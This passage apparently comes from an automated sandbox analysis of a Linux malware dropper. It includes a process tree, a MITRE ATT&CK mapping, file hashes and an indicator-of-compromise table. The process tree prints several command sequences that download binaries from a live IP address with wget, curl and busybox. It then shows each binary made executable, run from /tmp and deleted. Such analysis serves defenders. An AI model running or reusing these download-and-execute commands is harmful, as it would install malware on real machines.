  /bin/busybox wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:964
- /bin/chmod
  chmod 777 qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  ./qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:967
- /usr/bin/wget
  wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:968
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:970
- /bin/chmod
  chmod 777 tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  ./tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:973
- /usr/bin/wget
  wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:976
- /bin/chmod
  chmod 777 vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  ./vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:979
- /usr/bin/wget
  wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:982
- /bin/chmod
  chmod 777 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  ./3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:985

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj

Path /tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj	740	OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
/tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS	750	WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
/tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K	756	a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
/tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H	770	qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
/tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi	792	tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
/tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI	814	vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
/tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj	825	3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
/tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe	834	mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
/tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0	848	9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
/tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ	871	HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
/tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ	882	lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
/tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln	888	AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
/tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL	894	iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
/tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7	900	O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
/tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL	906	iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
/tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7	912	O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
/tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ	918	HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
/tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ	924	lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
/tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln	930	AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
/tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj	936	OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
/tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS	942	WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
/tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K	948	a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
/tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe	954	mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
/tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0	960	9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
/tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H	966	qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
/tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi	972	tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
/tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI	978	vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
/tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj	984	3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj